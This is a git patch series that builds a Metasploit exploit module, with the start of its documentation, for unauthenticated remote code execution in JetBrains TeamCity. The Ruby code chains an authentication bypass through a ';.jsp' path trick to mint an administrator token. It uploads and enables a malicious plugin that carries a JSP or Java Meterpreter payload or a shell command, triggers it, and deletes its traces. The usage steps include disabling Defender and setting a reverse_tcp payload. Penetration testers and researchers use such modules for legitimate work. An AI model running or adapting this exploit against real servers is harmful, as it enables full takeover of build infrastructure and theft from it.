From cdba70b44d8abe187834fa93ffe90bfb1c0891cf Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 16 Feb 2024 10:04:28 +0000 Subject: [PATCH 01/29] add in jetbrains teamcity rce 0day --- .../multi/http/jetbrains_teamcity_rce_0day.rb | 383 ++++++++++++++++++ 1 file changed, 383 insertions(+) create mode 100644 modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb new file mode 100644 index 000000000000..2436a0f90a36 --- /dev/null +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb @@ -0,0 +1,383 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution', + 'Description' => %q{ + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'sfewer-r7', # MSF Exploit & Rapid7 Analysis + ], + 'References' => [ + # ['CVE', '2024-?????'], + # ['URL', ''], + ], + 'DisclosureDate' => '2024-1-1', + 'Platform' => %w[win linux osx], + 'Arch' => [ARCH_JAVA], + 'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account. + 'Targets' => [['Default', {}]], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + # By default TeamCity listens for HTTP requests on TCP port 8111. + Opt::RPORT(8111), + OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/']), + # The first user created during installation is an administrator account, so the ID will be 1. + OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1]) + ] + ) + end + + def send_auth_bypass_request_cgi(opts = {}) + opts['vars_get'] = { + 'jsp' => "#{opts['uri']};.jsp" + } + + opts['uri'] = normalize_uri(target_uri.path, Rex::Text.rand_text_alphanumeric(8)) + + send_request_cgi(opts) + end + + def check + res = send_auth_bypass_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server') + ) + + return CheckCode::Unknown('Connection failed') unless res + + json_data = res.get_xml_document + + server_data = json_data.at('server') + + version = "JetBrains TeamCity #{server_data.attr('version')}" + + build_number = server_data.attr('buildNumber') + + # XXX: change this to < PATCH_BUILD_NUMBER + if build_number.to_i <= 147512 + return CheckCode::Vulnerable(version) + end + + CheckCode::Safe(version) + end + + def exploit + # + # 1. Leverage the auth bypass to generate a new administrator access token. + # + token_name = Rex::Text.rand_text_alphanumeric(8) + + res = send_auth_bypass_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users', "id:#{datastore['TEAMCITY_ADMIN_ID']}", 'tokens', token_name) + ) + + unless res&.code == 200 + # One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here + # and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option. + if res && (res.code == 404) && res.body.include?('User not found') + print_warning('User not found, try setting the TEAMCITY_ADMIN_ID option to a different ID.') + end + + fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.') + end + + # As we have created an access token, this being block ensures we delete the token when we are done. + begin + # + # 2. Extract the authentication token from the response. + # + token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s + + if token_value.nil? + fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') + end + + print_status("Created authentication token: #{token_value}") + + # + # 3. Create a malicious TeamCity plugin to host our payload. + # + plugin_name = Rex::Text.rand_text_alphanumeric(8) + + zip_resources = Rex::Zip::Archive.new + + zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded) + + zip_plugin = Rex::Zip::Archive.new + + zip_plugin.add_file( + 'teamcity-plugin.xml', + %( + + + #{plugin_name} + #{plugin_name} + #{plugin_name} + 1 + + #{plugin_name} + #{plugin_name} + + + +) + ) + + zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack) + + # + # 4. Upload the payload plugin to the TeamCity server + # + print_status("Uploading plugin: #{plugin_name}") + + message = Rex::MIME::Message.new + + message.add_part( + "#{plugin_name}.zip", + nil, + nil, + 'form-data; name="fileName"' + ) + + message.add_part( + zip_plugin.pack.to_s, + 'application/octet-stream', + 'binary', + "form-data; name=\"file:fileToUpload\"; filename=\"#{plugin_name}.zip\"" + ) + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'), + 'ctype' => 'multipart/form-data; boundary=' + message.bound, + 'headers' => { + 'Authorization' => "Bearer #{token_value}" + }, + 'data' => message.to_s + ) + + unless res&.code == 200 + fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') + end + + # + # 5. We have to enable the newly uploaded plugin so the plugin actually loads into the server. + # + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'), + 'headers' => { + 'Authorization' => "Bearer #{token_value}" + }, + 'vars_post' => { + 'action' => 'loadAll', + 'plugins' => plugin_name + } + ) + + unless res&.code == 200 + fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') + end + + # As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done. + begin + # + # 6. Trigger the payload and get a session. + # + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"), + 'headers' => { + 'Authorization' => "Bearer #{token_value}" + } + ) + + unless res&.code == 200 + fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') + end + + # + # 7.Begin to clean up, we need to discover the TeamCity installation folder + # + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'), + 'headers' => { + 'Authorization' => "Bearer #{token_value}" + } + ) + + if res&.code == 200 + plugins_xml = res.get_xml_document + + restapi_data = plugins_xml.at("//plugin[@name='rest-api']") + + restapi_load_path = restapi_data&.attr('loadPath') + + if restapi_load_path + # Look for the Windows :\ part of a path, e.g. C:\TeamCity to determine if target is Windows based. + sep = restapi_load_path.include?(':\\') ? '\\' : '/' + + # Pull out the path of a known plugin (we know rest-api is loaded as we are using it), e.g.: + # C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api + # And transform the path into the folder our payload plugin extracted to, e.g.: + # C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ + restapi_load_path.gsub!('WEB-INF', '') + restapi_load_path.gsub!('rest-api', plugin_name) + + # Reduce and double separators to single separators, e.g. foo\\bar becomes foo\bar + restapi_load_path.gsub!("#{sep}#{sep}", sep) + + register_file_for_cleanup("#{restapi_load_path}#{sep}#{plugin_name}.jsp") + + register_dir_for_cleanup(restapi_load_path) + else + print_warning('Could not rest-api plugin paths. Unable to register files for cleanup.') + end + else + print_warning('Could not discover plugin paths. Unable to register files for cleanup.') + end + ensure + # + # 8. Ensure we delete the plugin from the server when we are finished. + # + print_status('Deleting the plugin...') + + print_warning('Failed to delete the plugin.') unless delete_plugin(token_value, plugin_name) + end + ensure + # + # 9. Ensure we delete the access token we created when we are finished. + # + print_status('Deleting the authentication token...') + + print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value) + end + end + + def get_plugin_uuid(token_value, plugin_name) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'), + 'headers' => { + 'Authorization' => "Bearer #{token_value}" + }, + 'vars_get' => { + 'item' => 'plugins' + } + ) + + unless res&.code == 200 + print_warning('Failed to list all plugins.') + return nil + end + + uuid_match = res.body.match(/'#{Regexp.quote(plugin_name)}', '([a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12})'/) + + if uuid_match&.length != 2 + print_warning('Failed to grep for plugin GUID') + return nil + end + + uuid_match[1] + end + + def delete_plugin(token_value, plugin_name) + plugin_uuid = get_plugin_uuid(token_value, plugin_name) + + if plugin_uuid.nil? + print_warning('Failed to discover enabled plugin UUID') + return false + end + + vprint_status("Enabled Plugin UUID: #{plugin_uuid}") + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'), + 'headers' => { + 'Authorization' => "Bearer #{token_value}" + }, + 'vars_post' => { + 'action' => 'setEnabled', + 'enabled' => 'false', + 'uuid' => plugin_uuid + } + ) + + unless res&.code == 200 + print_warning('Failed to disable the plugin.') + return false + end + + plugin_uuid = get_plugin_uuid(token_value, plugin_name) + + if plugin_uuid.nil? + print_warning('Failed to discover disabled plugin UUID') + return false + end + + vprint_status("Disabled Plugin UUID: #{plugin_uuid}") + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'), + 'headers' => { + 'Authorization' => "Bearer #{token_value}" + }, + 'vars_post' => { + 'action' => 'delete', + 'uuid' => plugin_uuid + } + ) + + unless res&.code == 200 + print_warning('Failed request for plugin deletion.') + return false + end + + true + end + + def delete_token(token_name, token_value) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'accessTokens.html'), + 'headers' => { + 'Authorization' => "Bearer #{token_value}" + }, + 'vars_post' => { + 'accessTokenName' => token_name, + 'delete' => 'true', + 'userId' => datastore['TEAMCITY_ADMIN_ID'] + } + ) + + res&.code == 200 + end + +end From 04d501a7a7bbac35a4ffeb037703d18f8a9d3b0a Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 16 Feb 2024 10:05:24 +0000 Subject: [PATCH 02/29] make msftidy happy --- modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb index 2436a0f90a36..68c8d0ce6528 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb @@ -22,10 +22,10 @@ def initialize(info = {}) 'sfewer-r7', # MSF Exploit & Rapid7 Analysis ], 'References' => [ - # ['CVE', '2024-?????'], + # ['CVE', '2024-12345'], # ['URL', ''], ], - 'DisclosureDate' => '2024-1-1', + 'DisclosureDate' => '2024-01-01', 'Platform' => %w[win linux osx], 'Arch' => [ARCH_JAVA], 'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account. From 32ed8eeedf33e5ce70548bbbb3051fe3e4920e4e Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 16 Feb 2024 15:31:07 +0000 Subject: [PATCH 03/29] rework some of the cleanup logic --- .../multi/http/jetbrains_teamcity_rce_0day.rb | 137 ++++++++++++------ 1 file changed, 92 insertions(+), 45 deletions(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb index 68c8d0ce6528..4b2cf5ba8c83 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb @@ -19,7 +19,7 @@ def initialize(info = {}) }, 'License' => MSF_LICENSE, 'Author' => [ - 'sfewer-r7', # MSF Exploit & Rapid7 Analysis + 'sfewer-r7', # Discovery, Analysis, Exploit ], 'References' => [ # ['CVE', '2024-12345'], @@ -68,9 +68,9 @@ def check return CheckCode::Unknown('Connection failed') unless res - json_data = res.get_xml_document + xml_data = res.get_xml_document - server_data = json_data.at('server') + server_data = xml_data.at('server') version = "JetBrains TeamCity #{server_data.attr('version')}" @@ -206,60 +206,44 @@ def exploit # As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done. begin # - # 6. Trigger the payload and get a session. + # 6. Begin to clean up, register several paths for cleanup. # - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"), - 'headers' => { - 'Authorization' => "Bearer #{token_value}" - } - ) - - unless res&.code == 200 - fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') + if (install_path, sep = get_install_path(token_value)) + vprint_status("Target install path: #{install_path}") + + # The payload plugin will have its buildServerResources extracted to a path like: + # C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ + # So we register this for cleanup. + # Note: The java process may recreate this a second time after we delete it. + register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep)) + + if (build_number = get_build_number(token_value)) + vprint_status("Target build number: #{build_number}") + + # The Tomcat web server will compile our JSP payload and store the associated .class files in a path like: + # C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\ + # So we register this for cleanup too. + register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep)) + else + print_warning('Could not discover build number. Unable to register Catalina files for cleanup.') + end + else + print_warning('Could not discover install path. Unable to register files for cleanup.') end # - # 7.Begin to clean up, we need to discover the TeamCity installation folder + # 7. Trigger the payload and get a session. # res = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'), + 'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"), 'headers' => { 'Authorization' => "Bearer #{token_value}" } ) - if res&.code == 200 - plugins_xml = res.get_xml_document - - restapi_data = plugins_xml.at("//plugin[@name='rest-api']") - - restapi_load_path = restapi_data&.attr('loadPath') - - if restapi_load_path - # Look for the Windows :\ part of a path, e.g. C:\TeamCity to determine if target is Windows based. - sep = restapi_load_path.include?(':\\') ? '\\' : '/' - - # Pull out the path of a known plugin (we know rest-api is loaded as we are using it), e.g.: - # C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api - # And transform the path into the folder our payload plugin extracted to, e.g.: - # C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ - restapi_load_path.gsub!('WEB-INF', '') - restapi_load_path.gsub!('rest-api', plugin_name) - - # Reduce and double separators to single separators, e.g. foo\\bar becomes foo\bar - restapi_load_path.gsub!("#{sep}#{sep}", sep) - - register_file_for_cleanup("#{restapi_load_path}#{sep}#{plugin_name}.jsp") - - register_dir_for_cleanup(restapi_load_path) - else - print_warning('Could not rest-api plugin paths. Unable to register files for cleanup.') - end - else - print_warning('Could not discover plugin paths. Unable to register files for cleanup.') + unless res&.code == 200 + fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') end ensure # @@ -279,6 +263,69 @@ def exploit end end + def get_install_path(token_value) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'), + 'headers' => { + 'Authorization' => "Bearer #{token_value}" + } + ) + + unless res&.code == 200 + print_warning('Failed to request plugins information.') + return nil + end + + plugins_xml = res.get_xml_document + + restapi_data = plugins_xml.at("//plugin[@name='rest-api']") + + restapi_load_path = restapi_data&.attr('loadPath') + + if restapi_load_path.nil? + print_warning('Failed to extract plugin loadPath.') + return nil + end + + # C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api + + platforms = { + '\\webapps\\ROOT\\WEB-INF\\plugins\\' => '\\', + '/webapps/ROOT/WEB-INF/plugins/' => '/' + } + + platforms.each do |path, sep| + if (pos = restapi_load_path.index(path)) + return [restapi_load_path[0, pos], sep] + end + end + + print_warning('Failed to extract install path.') + nil + end + + def get_build_number(token_value) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server'), + 'headers' => { + 'Authorization' => "Bearer #{token_value}" + } + ) + + unless res&.code == 200 + print_warning('Failed to request server information.') + return nil + end + + xml_data = res.get_xml_document + + server_data = xml_data.at('server') + + server_data.attr('buildNumber') + end + def get_plugin_uuid(token_value, plugin_name) res = send_request_cgi( 'method' => 'GET', From a8408f139ec937c69038a65c83c9c26b3f7e2dbf Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 16 Feb 2024 17:28:38 +0000 Subject: [PATCH 04/29] add in ARCH_CMD payloads to get a native meterpreter session --- .../multi/http/jetbrains_teamcity_rce_0day.rb | 117 ++++++++++++++---- 1 file changed, 93 insertions(+), 24 deletions(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb index 4b2cf5ba8c83..fbeb2c8f2975 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb @@ -26,10 +26,35 @@ def initialize(info = {}) # ['URL', ''], ], 'DisclosureDate' => '2024-01-01', - 'Platform' => %w[win linux osx], - 'Arch' => [ARCH_JAVA], + 'Platform' => %w[win linux unix], + 'Arch' => [ARCH_JAVA, ARCH_CMD], 'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account. - 'Targets' => [['Default', {}]], + 'Targets' => [ + [ + 'Java', { + 'Platform' => %w[win linux unix], + 'Arch' => ARCH_JAVA + } + ], + [ + 'Windows Command', { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + } + ], + [ + 'Linux Command', { + 'Platform' => 'linux', + 'Arch' => ARCH_CMD + } + ], + [ + 'Unix Command', { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } + ] + ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], @@ -123,9 +148,47 @@ def exploit # plugin_name = Rex::Text.rand_text_alphanumeric(8) - zip_resources = Rex::Zip::Archive.new + if target['Arch'] == ARCH_CMD + + case target['Platform'] + when 'win' + shell = 'cmd.exe' + flag = '/c' + when 'linux', 'unix' + shell = '/bin/sh' + flag = '-c' + else + fail_with(Failure::BadConfig, 'Unsupported target platform') + end + + zip_resources = Rex::Zip::Archive.new + + zip_resources.add_file( + "META-INF/build-server-plugin-#{plugin_name}.xml", + %( + + + + + #{shell} + #{flag} + + + + +) + ) + elsif target['Arch'] == ARCH_JAVA + + zip_resources = Rex::Zip::Archive.new - zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded) + zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded) + else + fail_with(Failure::BadConfig, 'Unsupported target architecture') + end zip_plugin = Rex::Zip::Archive.new @@ -211,18 +274,21 @@ def exploit if (install_path, sep = get_install_path(token_value)) vprint_status("Target install path: #{install_path}") - # The payload plugin will have its buildServerResources extracted to a path like: - # C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ - # So we register this for cleanup. - # Note: The java process may recreate this a second time after we delete it. - register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep)) + if target['Arch'] == ARCH_JAVA + # The Java payload plugin will have its buildServerResources extracted to a path like: + # C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ + # So we register this for cleanup. + # Note: The java process may recreate this a second time after we delete it. + register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep)) + end if (build_number = get_build_number(token_value)) vprint_status("Target build number: #{build_number}") - # The Tomcat web server will compile our JSP payload and store the associated .class files in a path like: - # C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\ - # So we register this for cleanup too. + # The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a + # path like: C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\ + # So we register this for cleanup too. This folder will be created for a ARCH_CMD payload, although + # it will be empty. register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep)) else print_warning('Could not discover build number. Unable to register Catalina files for cleanup.') @@ -232,18 +298,21 @@ def exploit end # - # 7. Trigger the payload and get a session. + # 7. Trigger the payload and get a session. ARCH_JAVA payloads need us to hit an endpoint. ARCH_CMD payloads + # are triggered upon enabling a loaded plugin. # - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"), - 'headers' => { - 'Authorization' => "Bearer #{token_value}" - } - ) - - unless res&.code == 200 - fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') + if target['Arch'] == ARCH_JAVA + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"), + 'headers' => { + 'Authorization' => "Bearer #{token_value}" + } + ) + + unless res&.code == 200 + fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') + end end ensure # From edf2bae69ade1e820005763ffdd09a46f1908e7e Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Mon, 19 Feb 2024 11:37:34 +0000 Subject: [PATCH 05/29] add native java payload support --- .../multi/http/jetbrains_teamcity_rce_0day.rb | 46 ++++++++++++++++--- 1 file changed, 40 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb index fbeb2c8f2975..b1cc49cbcd73 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb @@ -26,12 +26,18 @@ def initialize(info = {}) # ['URL', ''], ], 'DisclosureDate' => '2024-01-01', - 'Platform' => %w[win linux unix], + 'Platform' => %w[java win linux unix], 'Arch' => [ARCH_JAVA, ARCH_CMD], 'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account. 'Targets' => [ [ 'Java', { + 'Platform' => 'java', + 'Arch' => ARCH_JAVA + } + ], + [ + 'Java Server Page', { 'Platform' => %w[win linux unix], 'Arch' => ARCH_JAVA } @@ -182,10 +188,38 @@ def exploit ) ) elsif target['Arch'] == ARCH_JAVA + # If the platform is java we can bootstrap a Java Meterpreter + if target['Platform'] == 'java' + zip_resources = payload.encoded_jar(random: true) - zip_resources = Rex::Zip::Archive.new + payload_bean_id = Rex::Text.rand_text_alpha(8) + + bootstrap_ognl = "\#{ #{payload_bean_id}.main(null) }" + + # NOTE: We place bootstrap_ognl in a separate bean, as it this generates an exception the plugin will fail + # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder + # as the setExceptionListener method will accept the null value the bootstrap_ognl will generate. If we + # choose a property that does no exist, we generate a several of exceptions in the teamcity-server.log. + + zip_resources.add_file( + "META-INF/build-server-plugin-#{plugin_name}.xml", + %( + + + + + +) + ) + else + # For non java platforms with ARCH_JAVA, we can drop a JSP payload. + zip_resources = Rex::Zip::Archive.new + + zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded) + end - zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded) else fail_with(Failure::BadConfig, 'Unsupported target architecture') end @@ -298,10 +332,10 @@ def exploit end # - # 7. Trigger the payload and get a session. ARCH_JAVA payloads need us to hit an endpoint. ARCH_CMD payloads - # are triggered upon enabling a loaded plugin. + # 7. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java + # payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin. # - if target['Arch'] == ARCH_JAVA + if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java' res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"), From d5bcac137082728a468a6eb92c41c2734d69fa1e Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 23 Feb 2024 11:49:38 +0000 Subject: [PATCH 06/29] improve check routine to include target platform --- .../multi/http/jetbrains_teamcity_rce_0day.rb | 35 +++++++++++++------ 1 file changed, 25 insertions(+), 10 deletions(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb index b1cc49cbcd73..9b42202b7e27 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb @@ -92,27 +92,42 @@ def send_auth_bypass_request_cgi(opts = {}) end def check - res = send_auth_bypass_request_cgi( + # We leverage the vulnerability to reach the /app/rest/server endpoint. If this request succeeds then we know the + # target is vulnerable. + server_res = send_auth_bypass_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server') ) - return CheckCode::Unknown('Connection failed') unless res + return CheckCode::Unknown('Connection failed') unless server_res - xml_data = res.get_xml_document + return CheckCode::Unknown("Received unexpected HTTP status code: #{server_res.code}.") unless server_res.code == 200 - server_data = xml_data.at('server') + # We can request /app/rest/debug/jvm/systemProperties and pull out the Java "os.name" property. We dont fail the + # check routine if this request fails, as we have enough info to provide a CheckCode, however displaying the target + # platform can help inform the user what payload target to choose (i.e. Windows or Linux). + sysprop_res = send_auth_bypass_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'debug', 'jvm', 'systemProperties') + ) - version = "JetBrains TeamCity #{server_data.attr('version')}" + platform = '' - build_number = server_data.attr('buildNumber') + if sysprop_res&.code == 200 + xml_sysprop_data = sysprop_res.get_xml_document - # XXX: change this to < PATCH_BUILD_NUMBER - if build_number.to_i <= 147512 - return CheckCode::Vulnerable(version) + os_name = xml_sysprop_data&.at('property[name="os.name"]') + + platform = " running on #{os_name.attr('value')}" if os_name end - CheckCode::Safe(version) + xml_server_data = server_res.get_xml_document + + server_data = xml_server_data&.at('server') + + version = " #{server_data.attr('version')}" if server_data + + CheckCode::Vulnerable("JetBrains TeamCity#{version}#{platform}.") end def exploit From 30e761831e007851f56e9df3c0ac8b4e774ff8e0 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 23 Feb 2024 14:00:27 +0000 Subject: [PATCH 07/29] we can also register this path for cleanup --- .../multi/http/jetbrains_teamcity_rce_0day.rb | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb index 9b42202b7e27..2bcb27059ded 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb @@ -346,6 +346,16 @@ def exploit print_warning('Could not discover install path. Unable to register files for cleanup.') end + # On a Linux target we see the extracted plugin file remaining here even after we delete the plugin. + # /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/ + if (data_path = get_data_dir_path(token_value)) + vprint_status("Target data directory path: #{data_path}") + + register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep)) + else + print_warning('Could not discover data directory path. Unable to register files for cleanup.') + end + # # 7. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java # payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin. @@ -423,6 +433,23 @@ def get_install_path(token_value) nil end + def get_data_dir_path(token_value) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'dataDirectoryPath'), + 'headers' => { + 'Authorization' => "Bearer #{token_value}" + } + ) + + unless res&.code == 200 + print_warning('Failed to request data directory path.') + return nil + end + + res.body + end + def get_build_number(token_value) res = send_request_cgi( 'method' => 'GET', From 47596c6a0c6e9f1a5846bbd26464b01f7fef46ea Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 23 Feb 2024 14:30:53 +0000 Subject: [PATCH 08/29] add in docs --- .../multi/http/jetbrains_teamcity_rce_0day.md | 436 ++++++++++++++++++ .../multi/http/jetbrains_teamcity_rce_0day.rb | 5 + 2 files changed, 441 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md diff --git a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md new file mode 100644 index 000000000000..2f131a5603b9 --- /dev/null +++ b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md @@ -0,0 +1,436 @@ +## Vulnerable Application +This module exploits an authentication bypass vulnerability in JetBrains TeamCity,. An unauthenticated +attacker can leverage this to access the REST API and create a new administrator access token. This token +can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve +unauthenticated RCE on the target TeamCity server. + +## Testing +[Download](https://www.jetbrains.com/teamcity/download/) and +[install](https://www.jetbrains.com/help/teamcity/install-and-start-teamcity-server.html) a vulnerable version of +TeamCity for either Windows or Linux, e.g. version 2023.11.3. By default the server will listen for HTTP +connections on port 8111. + +## Verification Steps +Note: On Windows, disable Defender if you are using the default payloads. + +Note: The check routine will display the target platform, this can be used to decide what target to select if the +command payloads are to be used. The Java payloads are platform agnostic. + +1. Start msfconsole +2. `use exploit/multi/http/jetbrains_teamcity_rce_0day` +3. `set RHOST ` +4. `set target 0` +5. `set payload java/meterpreter/reverse_tcp` +6. `set LHOST eth0` +7. `check` +8. `exploit` + +## Options + +### 